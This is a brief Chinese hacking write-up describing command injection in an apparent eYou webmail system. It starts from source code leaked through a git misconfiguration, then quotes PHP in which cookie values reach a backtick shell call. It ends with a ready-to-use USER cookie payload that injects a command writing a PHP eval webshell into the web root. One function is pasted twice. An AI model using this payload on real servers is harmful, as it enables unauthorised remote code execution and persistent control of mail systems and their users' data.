命令执行拿webshell

大致浏览了一下网站，发现可以git服务使用不当，可以获取到源码。



代码审计

user/list.php 可以爆路径

在乌云看到过存在命令执行漏洞
function getUserDirPath($uid, $domain) {

$cmd = "/var/eyou/sbin/hashid $uid $domain";

$path = `$cmd`; //使用反引号导致$cmd可以被执行

$path = trim($path);

return $path;

}

$skin = getCookieUserValue('SKIN');

$uid = getCookieUserValue('UID');

$domain = getCookieUserValue('DOMAIN');

$user_dir_path = getUserDirPath($uid, $domain);

$storage_index_path = $user_dir_path.'/storage/Index/';

$storage_data_path = $user_dir_path.'/storage/Data/';

$userinfo = get_userinfo($uid , $domain);



$uid , $domain 分别都是getCookieUserValue 函数来获取的，该函数也在function.php

中定义：

function getCookieUserValue($key) {

$user_arr = explode('&', cookie('USER'));

$n = count($user_arr);

for ($i = 0; $i < $n; $i++) {

$g_arr = explode('=', $user_arr[$i]);

if ($g_arr[0] == $key) {

return $g_arr[1];

}

}

return null;

}

function getCookieUserValue($key) {

$user_arr = explode('&', cookie('USER'));

$n = count($user_arr);

for ($i = 0; $i < $n; $i++) {

$g_arr = explode('=', $user_arr[$i]);

if ($g_arr[0] == $key) {

return $g_arr[1];

}

}

return null;

}
控制cookie中USER内容就行啦
UID=+|+echo+<?php @eval($_POST['chopper']);?>+>>C:\WWW\mail\user\1.php




==============================================
亮点内容非原创：http://www.wooyun.org/bugs/wooyun-2014-058301